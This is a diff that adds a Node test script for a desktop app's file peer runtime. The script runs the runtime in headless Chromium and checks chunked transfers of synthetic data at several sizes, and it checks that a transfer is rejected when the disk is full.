+const require = createRequire(new URL('../apps/desktop/package.json', import.meta.url));
+const { build } = require('esbuild');
+const { chromium } = require('playwright-core');
+const executablePath = process.argv[2];
+if (!executablePath) throw new Error('Pass a Chrome executable');
+const output = await build({ entryPoints: [path.join(root, 'packages/device-link/src/filePeerRuntimeSource.ts')], bundle: true, write: false, format: 'iife', globalName: 'PeerRuntimeSource' });
+const browser = await chromium.launch({ executablePath, headless: true, chromiumSandbox: true });
+try {
+ const page = await browser.newPage();
+ await page.addScriptTag({ content: output.outputFiles[0].text });
+ await page.addScriptTag({ content: await page.evaluate(() => PeerRuntimeSource.FILE_PEER_RUNTIME_SOURCE) });
+ const result = await page.evaluate(async (large) => {
+ const { createFilePeerRuntime } = CindyFilePeerRuntime;
+ let sourceSize = 0, outputSize = 0, sourceOffset = 0, failWrite = false;
+ const ticket = 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa';
+ const host = createFilePeerRuntime({
+ read: async (_id, t, offset) => {
+ if (t !== ticket || offset !== sourceOffset) throw new Error('source offset');
+ const chunk = Uint8Array.from({ length: Math.min(16384, sourceSize - offset) }, (_, i) => ((offset + i) * 31) % 251); sourceOffset += chunk.length;
+ return btoa(String.fromCharCode(...chunk));
+ }, write: async () => { throw new Error('host write'); },
+ });
+ const client = createFilePeerRuntime({ read: async () => { throw new Error('client read'); },
+ write: async (_sink, offset, data) => {
+ if (failWrite) throw new Error('disk full');
+ if (offset !== outputSize) throw new Error('sink offset');
+ for (const c of atob(data)) { if (c.charCodeAt(0) !== (outputSize * 31) % 251) throw new Error('bytes differ'); outputSize++; }
+ },
+ });
+ const offer = await client.offer('client', []);
+ await client.answer('client', await host.accept('host', [], offer));
+ const sizes = [0, 1, 16384, 16385, 262144, 262145, 1048576, ...(large ? [large === '2g' ? 2 * 1024 * 1024 * 1024 : 101 * 1024 * 1024] : [])];
+ try {
+ for (const size of sizes) {
+ sourceSize = size; sourceOffset = 0; outputSize = 0;
+ await client.receive('client', ticket, size, 'sink');
+ if (outputSize !== size) throw new Error('bytes differ');
+ }
+ sourceSize = 10; sourceOffset = 0; outputSize = 0; failWrite = true;
+ let rejected = false;
+ try { await client.receive('client', ticket, 10, 'sink'); } catch { rejected = true; }
+ if (!rejected) throw new Error('incomplete sink accepted');
+ return { passedSizes: sizes, diskFailureRejected: rejected };
+ } finally { host.dispose(); client.dispose(); }
+ }, process.argv.includes('--2g') ? '2g' : process.argv.includes('--large'));
+ console.log(JSON.stringify(result));
+} finally { await browser.close(); }